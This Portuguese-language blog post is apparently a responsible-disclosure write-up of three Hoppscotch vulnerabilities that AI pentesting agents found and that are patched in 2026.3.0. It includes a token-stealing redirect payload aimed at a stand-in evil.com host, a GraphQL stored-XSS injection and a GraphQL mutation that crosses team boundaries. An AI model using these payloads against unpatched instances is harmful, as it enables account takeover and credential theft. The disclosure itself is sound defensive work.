Introdução
O Hoppscotch é um ecossistema de desenvolvimento de APIs de código aberto, semelhante ao Postman, com mais de 100 000 utilizadores mensais. Há duas semanas, configurámos uma instância auto-hospedada e executámos os nossos agentes de testes de penetração de IA nela. Eles encontraram duas vulnerabilidades de gravidade elevada e uma de gravidade média, todas presentes nas versões até e incluindo a 2026.2.1, e todas corrigidas na versão 2026.3.0:
- A apropriação de conta através de um redirecionamento aberto que permite que os tokens de autenticação sejam desviados para um domínio malicioso, permitindo que um atacante se autentique na identidade da vítima.
- XSS armazenado através do servidor simulado, em que o JavaScript injetado através de um cabeçalho de resposta é executado no contexto da aplicação Hoppscotch, concedendo ao atacante acesso de leitura e escrita a tudo o que a vítima consegue ver.
- controle de acesso quebrado fluxo de pedidos, em que um utilizador de uma equipa pode inserir um pedido na coleção de outra equipa. Se um membro da equipa de destino o executar, as credenciais e as chaves API podem ser roubadas.
As três falhas foram comunicadas de forma responsável e já foram resolvidas.
Nota: Agrupámos acidentalmente o problema de XSS e uma falha de controlo de acesso num único relatório. Embora o texto do aviso aborde o XSS, as capturas de ecrã mostram, na verdade, a falha de controlo de acesso, o que resulta em dois avisos que abrangem três problemas distintos.
Remediação
Atualize as instâncias auto-hospedadas do Hoppscotch para a versão 2026.3.0 ou superior.
As vulnerabilidades descobertas foram adicionadas à base de dados Aikido :
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
Redirecionamento aberto que resulta na apropriação da conta
Aviso: GHSA-7fg7-wx5q-6m3v
CVSS: 8,5 (Alto)
Affected versions: Hoppscotch <= 2026.2.1
Versões corrigidas: 2026.3.0
O Hoppscotch dispõe tanto de uma interface web como de uma aplicação para computador. Para autenticar a aplicação para computador, abre-se no navegador um URL como este:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
A instância do Hoppscotch utiliza o parâmetro de consulta redirect_uri para enviar os tokens de sessão. É aqui que reside a vulnerabilidade. O back-end apresentava a seguinte validação incorreta na URI:
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
O código verifica se o URI começa por http://localhost, mas não tem em conta que domínios maliciosos como http://localhost.evil.com também passa nesta verificação. Consequentemente, se uma vítima aceder a:http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
A Hoppscotch enviaria os seus tokens de sessão para http://localhost.evil.com. Desde localhost é um subdomínio do atacante evil.com domínio; em vez de ser direcionada para o localhost, a solicitação é encaminhada para o servidor do atacante. Este pode então utilizar esses tokens para se autenticar como a vítima.
Os nossos agentes identificaram o problema no código-fonte e verificaram-no configurando um ouvinte num IP público e criando uma carga útil utilizando sslip.io. Ao utilizar o URI http://localhost.<attacker-ip>.sslip.io/, a carga útil conseguiu contornar a verificação «startsWith», obrigando o navegador a resolver o endereço para o servidor do atacante. Assim que a vítima se autenticou, os tokens de sessão confidenciais foram divulgados diretamente para o nosso listener, confirmando que era possível uma apropriação total da conta.
O seguinte pedido de integração resolveu a vulnerabilidade através da utilização de um analisador de URL adequado: https://github.com/hoppscotch/hoppscotch/pull/6012
XSS armazenado através do servidor simulado
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
O Hoppscotch inclui uma funcionalidade de servidor simulado que fornece respostas definidas pelo utilizador a partir de URLs em /mock/<subdomain>/. O backend está a enviar estas respostas a partir da mesma origem que a aplicação Hoppscotch, o que significa que cross-site scripting MockServer pode ser utilizado para extrair e alterar dados do utilizador.
Para injetar uma carga XSS, os agentes Aikido contornaram as restrições da interface do utilizador, enviando uma solicitação à API GraphQL que define o Tipo de conteúdo cabeçalho de resposta para text/html. Isso não era possível através do front-end.
Exemplo de corpo da solicitação:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}O XSS é acionado assim que o utilizador acede ao ponto final da API simulada. Por exemplo:
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

Para testar isto, os agentes de IA inseriram uma carga útil «console.log» no corpo da resposta através da API GraphQL, contornando efetivamente as restrições de tipo de conteúdo da interface do utilizador. Ao aceder ao ponto final simulado específico, o navegador executou o script e os agentes capturaram com sucesso a saída registada na consola.
O seguinte PR resolveu a vulnerabilidade através da implementação de sanitização e sandboxing com uma Política de Segurança de Conteúdo:
https://github.com/hoppscotch/hoppscotch/pull/6006
Controlo de acesso: Transferir pedidos para outra equipa
Aviso: GHSA-wj4r-hr4h-g98v
CVSS: 6,0 (Médio)
Affected versions: Hoppscotch <= 2026.2.1
Versões corrigidas: 2026.3.0
O Hoppscotch permite aos utilizadores mover ou reordenar pedidos entre coleções utilizando o pedido de mudança Mutação GraphQL. Os agentes descobriram que o backend não validava corretamente as permissões para a coleção de destino, permitindo que um invasor «injetasse» as suas próprias solicitações numa coleção pertencente a uma equipa diferente.
A vulnerabilidade existe na lógica de validação do backend: embora verifique o pedido de origem, ignora a verificação da equipa de destino se o nextRequestID está definido para nulo. Ao fornecer o destCollID da equipa da vítima e abandonando o nextRequestID Se estiver vazio, um atacante pode fazer passar com sucesso um pedido através dos limites do inquilino:
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
Isto pode comprometer a confidencialidade se um membro da equipa afetada, sem saber, executar o pedido injetado ou a coleção principal. Se tal acontecer, nos pedidos que herdam cabeçalhos de autorização ou que contêm marcadores de posição para variáveis — por exemplo, chaves de API —, os dados confidenciais poderão ser exfiltrados para o servidor do atacante.
Seguem-se os registos dos agentes que identificaram a vulnerabilidade:
Análise das relações entre teamIDs - Gostaria de saber se os pedidos podem pertencer a coleções de equipas diferentes sem alterar o teamID. Isto poderia violar a restrição de chave estrangeira se a coleção estiver ligada a outra equipa. O modelo TeamRequest provavelmente liga coleções por ID sem impor rigorosamente que o teamID corresponda ao collection.teamID. Em createTeamRequest, verificam-se se os IDs das equipas correspondem. No entanto, se a movimentação de um pedido atualizar apenas o collectionID sem alterar o teamID, preciso de verificar o esquema do Prisma para esclarecer como estas relações estão estruturadas. Vamos procurar o esquema no diretório apropriado.
Identificar problemas de controlo de acesso - Estou a perceber que o guard apenas verifica se um utilizador é membro da equipa associada ao requestID e ignora as permissões da equipa da coleção de destino. A função moveRequest é protegida pelo GqlRequestTeamMemberGuard para funções como Editor ou Proprietário, mas não inclui verificações para o GqlCollectionTeamMemberGuard no destCollID. Isto significa que um editor da Equipa A poderia mover um pedido para a coleção da Equipa B sem ser membro, criando uma grave vulnerabilidade no controlo de acesso.
Revisão do tratamento de pedidos - Preciso de confirmar o meu entendimento sobre findRequestAndNextRequest e reorderRequests. Em findRequestAndNextRequest, verifica-se se o pedido existe em srcCollID. Se for fornecido um nextRequestID, garante-se que o próximo pedido pertence à mesma coleção e equipa. No entanto, se o nextRequestID for nulo, ignora-se a verificação da propriedade da equipa em destCollID.
No reorderRequests, bloqueia por request.teamID para as coleções src e dest. Mas se destCollID for de outra equipa, continua com as atualizações sem garantir as verificações de equipa adequadas, o que pode causar problemas.
O seguinte PR resolveu a vulnerabilidade através da adição de uma verificação de autorização:
https://github.com/hoppscotch/hoppscotch/pull/6006
Agradecimentos a TristanInSec, que também identificou, de forma independente, a vulnerabilidade XSS.
Saiba mais sobre a nossa investigação sobre testes de penetração com IA:
- SvelteSpill: Um bug de engano de cache no SvelteKit + Vercel
- PromptPwnd: Vulnerabilidades de injeção de prompts no GitHub Actions utilizando agentes de IA
Saiba mais sobre como funcionam os nossos agentes de testes de penetração com IA:
- Como garantimos a segurança dos nossos agentes de IA desde a sua conceção
- Como pentest autônomo aos testes de penetração manuais

